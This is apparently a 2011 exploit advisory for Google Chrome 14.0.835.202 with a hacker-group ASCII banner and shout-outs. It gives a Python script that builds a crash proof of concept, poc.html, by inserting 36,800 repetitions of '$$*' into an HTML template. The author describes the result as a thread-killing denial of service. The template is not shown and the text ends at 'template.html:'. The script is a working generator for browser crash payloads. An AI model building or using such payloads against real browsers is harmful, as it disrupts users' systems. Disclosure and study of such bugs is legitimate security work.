## _ (`-') _ pigtail23 (`-') (`-') _ _ www.remoteshell.de ## ## \-.(OO ) (_) .-> ( OO).-> (OO ).-/ (_) <-. ## ## _.' \ ,-(`-') ,---(`-')/ '._ / ,---. ,-(`-'),--. ) .----. .----. ## ##(_...--'' | ( OO)' .-(OO )|'--...__)| \ /`.\ | ( OO)| (`-')\_,-. |\_.-, | ## ##| |_.' | | | )| | .-, \`--. .--''-'|_.' | | | )| |OO ) .' .' |_ < ## ##| .___.'(| |_/ | | '.(_/ | | (| .-. |(| |_/(| '__ | .' /_ .-. \ | ## ##| | | |'->| '-' | | | | | | | | |'->| |'| |\ `-' / ## ##`--' `--' `-----' `--' `--' `--' `--' `-----' `------' `---'' ## ################################################################################### ################################################################################### October 22, 2011 Ohh nice! What u doing google? Thx 4 ur bug! 0__o Google Chrome PoC, killing thread. Exploitable or only a DOS!? Found no way to exploit it. Good Luck!!! Testsystem: WinXP SP3, Win7(64 bit) Google Chrome version: 14.0.835.202 Greetings to: mr_insecure, myownremote, noptrix, Eph, lnxg33k, CyberMaN,... TheXero, Dexter, #back-track.de and #intern0t @ irc.freenode.net ################################################################################### poc.html: too big! ################################################################################### Python script for debugging: #!/usr/bin/python filename = 'poc.html' content = open('template.html', 'r').read() buff = '$$*' * 36800 rc = 484 content2 = content[:rc] + buff + content[rc:] FILE = open(filename,"w") FILE.write(content2) FILE.close() ################################################################################### template.html: